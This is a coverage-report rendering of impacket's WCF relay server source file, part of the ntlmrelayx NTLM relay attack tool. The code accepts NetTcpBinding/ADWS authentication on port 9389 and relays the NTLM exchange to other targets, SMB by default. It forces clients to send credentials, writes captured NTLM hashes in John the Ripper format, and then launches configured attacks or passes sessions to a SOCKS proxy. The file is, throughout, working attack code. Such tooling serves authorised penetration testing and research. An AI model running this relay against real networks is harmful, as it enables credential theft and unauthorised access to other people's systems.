Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/servers/wcfrelayserver.py : 8%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# -*- coding: utf-8 -*-
2# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
3#
4# This software is provided under under a slightly modified version
5# of the Apache Software License. See the accompanying LICENSE file
6# for more information.
7#
8# WCF Relay Server
9#
10# Author:
11# Clément Notin (@cnotin)
12# With code copied from smbrelayserver.py and httprelayserver.py authored by:
13# Alberto Solino (@agsolino)
14# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
15#
16# Description:
17# This is the WCF server (ADWS too) which relays the NTLMSSP messages to other protocols
18# Only NetTcpBinding is supported!
20# To support NetTcpBinding, this implements the ".NET Message Framing Protocol" [MC-NMF] and
21# ".NET NegotiateStream Protocol" [MS-NNS]
22# Thanks to inspiration from https://github.com/ernw/net.tcp-proxy/blob/master/nettcp/nmf.py
23# and https://github.com/ernw/net.tcp-proxy/blob/master/nettcp/stream/negotiate.py by @bluec0re
25import socket
26import socketserver
27import struct
28from binascii import hexlify
29from threading import Thread
31from six import PY2
33from impacket import ntlm, LOG
34from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections
35from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
36from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS
37from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile
38from impacket.spnego import SPNEGO_NegTokenInit, ASN1_AID, SPNEGO_NegTokenResp, TypesMech, MechTypes, \
39 ASN1_SUPPORTED_MECH
42class WCFRelayServer(Thread):
43 class WCFServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
44 def __init__(self, server_address, request_handler_class, config):
45 self.config = config
46 self.daemon_threads = True
47 if self.config.ipv6:
48 self.address_family = socket.AF_INET6
49 self.wpad_counters = {}
50 socketserver.TCPServer.__init__(self, server_address, request_handler_class)
52 class WCFHandler(socketserver.BaseRequestHandler):
53 def __init__(self, request, client_address, server):
54 self.server = server
55 self.challengeMessage = None
56 self.target = None
57 self.client = None
58 self.machineAccount = None
59 self.machineHashes = None
60 self.domainIp = None
61 self.authUser = None
63 if self.server.config.target is None:
64 # Reflection mode, defaults to SMB at the target, for now
65 self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0])
66 self.target = self.server.config.target.getTarget()
67 if self.target is None:
68 LOG.info("WCF: Received connection from %s, but there are no more targets left!" % client_address[0])
69 return
70 LOG.info("WCF: Received connection from %s, attacking target %s://%s" % (
71 client_address[0], self.target.scheme, self.target.netloc))
73 socketserver.BaseRequestHandler.__init__(self, request, client_address, server)
75 # recv from socket for exact 'length' (even if fragmented over several packets)
76 def recvall(self, length):
77 buf = b''
78 while not len(buf) == length:
79 buf += self.request.recv(length - len(buf))
81 if PY2:
82 buf = bytearray(buf)
83 return buf
85 def handle(self):
86 version_code = self.recvall(1)
87 if version_code != b'\x00':
88 LOG.error("WCF: wrong VersionRecord code")
89 return
90 version = self.recvall(2) # should be \x01\x00 but we don't care
91 if version != b'\x01\x00':
92 LOG.error("WCF: wrong VersionRecord version")
93 return
95 mode_code = self.recvall(1)
96 if mode_code != b'\x01':
97 LOG.error("WCF: wrong ModeRecord code")
98 return
99 mode = self.recvall(1) # we don't care
101 via_code = self.recvall(1)
102 if via_code != b'\x02':
103 LOG.error("WCF: wrong ViaRecord code")
104 return
105 via_len = self.recvall(1)
106 via_len = struct.unpack("B", via_len)[0]
107 via = self.recvall(via_len).decode("utf-8")
109 if not via.startswith("net.tcp://"):
110 LOG.error("WCF: the Via URL '" + via + "' does not start with 'net.tcp://'. "
111 "Only NetTcpBinding is currently supported!")
112 return
114 known_encoding_code = self.recvall(1)
115 if known_encoding_code != b'\x03':
116 LOG.error("WCF: wrong KnownEncodingRecord code")
117 return
118 encoding = self.recvall(1) # we don't care
120 upgrade_code = self.recvall(1)
121 if upgrade_code != b'\x09':
122 LOG.error("WCF: wrong UpgradeRequestRecord code")
123 return
124 upgrade_len = self.recvall(1)
125 upgrade_len = struct.unpack("B", upgrade_len)[0]
126 upgrade = self.recvall(upgrade_len).decode("utf-8")
128 if upgrade != "application/negotiate":
129 LOG.error("WCF: upgrade '" + upgrade + "' is not 'application/negotiate'. Only Negotiate is supported!")
130 return
131 self.request.sendall(b'\x0a')
133 while True:
134 handshake_in_progress = self.recvall(5)
135 if not handshake_in_progress[0] == 0x16:
136 LOG.error("WCF: Wrong handshake_in_progress message")
137 return
139 securityBlob_len = struct.unpack(">H", handshake_in_progress[3:5])[0]
140 securityBlob = self.recvall(securityBlob_len)
142 rawNTLM = False
143 if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID:
144 # SPNEGO NEGOTIATE packet
145 blob = SPNEGO_NegTokenInit(securityBlob)
146 token = blob['MechToken']
147 if len(blob['MechTypes'][0]) > 0:
148 # Is this GSSAPI NTLM or something else we don't support?
149 mechType = blob['MechTypes'][0]
150 if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \
151 mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:
152 # Nope, do we know it?
153 if mechType in MechTypes:
154 mechStr = MechTypes[mechType]
155 else:
156 mechStr = hexlify(mechType)
157 LOG.error("Unsupported MechType '%s'" % mechStr)
158 # We don't know the token, we answer back again saying
159 # we just support NTLM.
160 respToken = SPNEGO_NegTokenResp()
161 respToken['NegState'] = b'\x03' # request-mic
162 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
163 respToken = respToken.getData()
165 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b
166 answer = b'\x16' # handshake_in_progress
167 answer += b'\x01\x00' # version
168 answer += struct.pack(">H", len(respToken)) # len
169 answer += respToken
171 self.request.sendall(answer)
173 elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:
174 # SPNEGO AUTH packet
175 blob = SPNEGO_NegTokenResp(securityBlob)
176 token = blob['ResponseToken']
177 break
178 else:
179 # No GSSAPI stuff, raw NTLMSSP
180 rawNTLM = True
181 token = securityBlob
182 break
184 if not token.startswith(b"NTLMSSP\0\1"): # NTLMSSP_NEGOTIATE: message type 1
185 LOG.error("WCF: Wrong NTLMSSP_NEGOTIATE message")
186 return
188 if not self.do_ntlm_negotiate(token):
189 # Connection failed
190 LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target',
191 self.target.scheme, self.target.netloc)
192 self.server.config.target.logTarget(self.target)
193 return
195 # Calculate auth
196 ntlmssp_challenge = self.challengeMessage.getData()
198 if not rawNTLM:
199 # add SPNEGO wrapping
200 respToken = SPNEGO_NegTokenResp()
201 # accept-incomplete. We want more data
202 respToken['NegState'] = b'\x01'
203 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
205 respToken['ResponseToken'] = ntlmssp_challenge
206 ntlmssp_challenge = respToken.getData()
208 # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b
209 handshake_in_progress = b"\x16\x01\x00" + struct.pack(">H", len(ntlmssp_challenge))
210 self.request.sendall(handshake_in_progress)
211 self.request.sendall(ntlmssp_challenge)
213 handshake_done = self.recvall(5)
215 if handshake_done[0] == 0x15:
216 error_len = struct.unpack(">H", handshake_done[3:5])[0]
217 error_msg = self.recvall(error_len)
218 hresult = hex(struct.unpack('>I', error_msg[4:8])[0])
219 LOG.error("WCF: Received handshake_error message: " + hresult)
220 return
222 ntlmssp_auth_len = struct.unpack(">H", handshake_done[3:5])[0]
223 ntlmssp_auth = self.recvall(ntlmssp_auth_len)
225 if not rawNTLM:
226 # remove SPNEGO wrapping
227 blob = SPNEGO_NegTokenResp(ntlmssp_auth)
228 ntlmssp_auth = blob['ResponseToken']
230 if not ntlmssp_auth.startswith(b"NTLMSSP\0\3"): # NTLMSSP_AUTH: message type 3
231 LOG.error("WCF: Wrong NTLMSSP_AUTH message")
232 return
234 authenticateMessage = ntlm.NTLMAuthChallengeResponse()
235 authenticateMessage.fromString(ntlmssp_auth)
237 if not self.do_ntlm_auth(ntlmssp_auth, authenticateMessage):
238 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
239 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
240 self.target.scheme, self.target.netloc,
241 authenticateMessage['domain_name'].decode('utf-16le'),
242 authenticateMessage['user_name'].decode('utf-16le')))
243 else:
244 LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
245 self.target.scheme, self.target.netloc,
246 authenticateMessage['domain_name'].decode('ascii'),
247 authenticateMessage['user_name'].decode('ascii')))
248 return
250 # Relay worked, do whatever we want here...
251 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
252 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
253 self.target.scheme, self.target.netloc,
254 authenticateMessage['domain_name'].decode('utf-16le'),
255 authenticateMessage['user_name'].decode('utf-16le')))
256 else:
257 LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
258 self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
259 authenticateMessage['user_name'].decode('ascii')))
261 ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
262 authenticateMessage['user_name'],
263 authenticateMessage['domain_name'],
264 authenticateMessage['lanman'], authenticateMessage['ntlm'])
265 self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
267 if self.server.config.outputFile is not None:
268 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
269 self.server.config.outputFile)
271 self.server.config.target.logTarget(self.target, True, self.authUser)
273 self.do_attack()
275 def do_ntlm_negotiate(self, token):
276 if self.target.scheme.upper() in self.server.config.protocolClients:
277 self.client = self.server.config.protocolClients[self.target.scheme.upper()](self.server.config,
278 self.target)
279 # If connection failed, return
280 if not self.client.initConnection():
281 return False
282 self.challengeMessage = self.client.sendNegotiate(token)
284 # Remove target NetBIOS field from the NTLMSSP_CHALLENGE
285 if self.server.config.remove_target:
286 av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields'])
287 del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]
288 self.challengeMessage['TargetInfoFields'] = av_pairs.getData()
289 self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData())
290 self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData())
292 # Check for errors
293 if self.challengeMessage is False:
294 return False
295 else:
296 LOG.error('Protocol Client for %s not found!' % self.target.scheme.upper())
297 return False
299 return True
301 def do_ntlm_auth(self, token, authenticateMessage):
302 # For some attacks it is important to know the authenticated username, so we store it
303 if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
304 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
305 authenticateMessage['user_name'].decode('utf-16le'))).upper()
306 else:
307 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),
308 authenticateMessage['user_name'].decode('ascii'))).upper()
310 if authenticateMessage['user_name'] != '' or self.target.hostname == '127.0.0.1':
311 clientResponse, errorCode = self.client.sendAuth(token)
312 else:
313 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials, except
314 # when coming from localhost
315 errorCode = STATUS_ACCESS_DENIED
317 if errorCode == STATUS_SUCCESS:
318 return True
320 return False
322 def do_attack(self):
323 # Check if SOCKS is enabled and if we support the target scheme
324 if self.server.config.runSocks and self.target.scheme.upper() in self.server.config.socksServer.supportedSchemes:
325 # Pass all the data to the socksplugins proxy
326 activeConnections.put((self.target.hostname, self.client.targetPort, self.target.scheme.upper(),
327 self.authUser, self.client, self.client.sessionData))
328 return
330 # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks
331 if self.target.scheme.upper() in self.server.config.attacks:
332 # We have an attack.. go for it
333 clientThread = self.server.config.attacks[self.target.scheme.upper()](self.server.config,
334 self.client.session,
335 self.authUser)
336 clientThread.start()
337 else:
338 LOG.error('No attack configured for %s' % self.target.scheme.upper())
340 def __init__(self, config):
341 Thread.__init__(self)
342 self.daemon = True
343 self.config = config
344 self.server = None
346 def run(self):
347 LOG.info("Setting up WCF Server")
349 if self.config.listeningPort:
350 wcfport = self.config.listeningPort
351 else:
352 wcfport = 9389 # ADWS
354 # changed to read from the interfaceIP set in the configuration
355 self.server = self.WCFServer((self.config.interfaceIp, wcfport), self.WCFHandler, self.config)
357 try:
358 self.server.serve_forever()
359 except KeyboardInterrupt:
360 pass
361 LOG.info('Shutting down WCF Server')
362 self.server.server_close()